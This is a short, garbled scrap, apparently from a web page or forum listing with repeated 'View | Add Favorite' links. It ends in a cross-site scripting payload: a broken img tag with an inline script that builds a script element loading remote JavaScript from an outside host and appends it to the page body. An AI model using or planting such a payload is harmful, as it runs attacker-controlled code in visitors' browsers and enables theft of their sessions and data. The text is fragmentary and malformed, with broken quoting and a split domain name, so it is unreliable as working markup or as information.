| View | Add Favorite ...
| View | Add Favorite ...
...
.. ...
...
img src="http://xss.xss/xss.jpg" x='
'..var x=document.createElement('script');x.src='http://www.actuali zando.com/.../test.js';document.getElementsByTagName('body') [0].appendChild(x);" /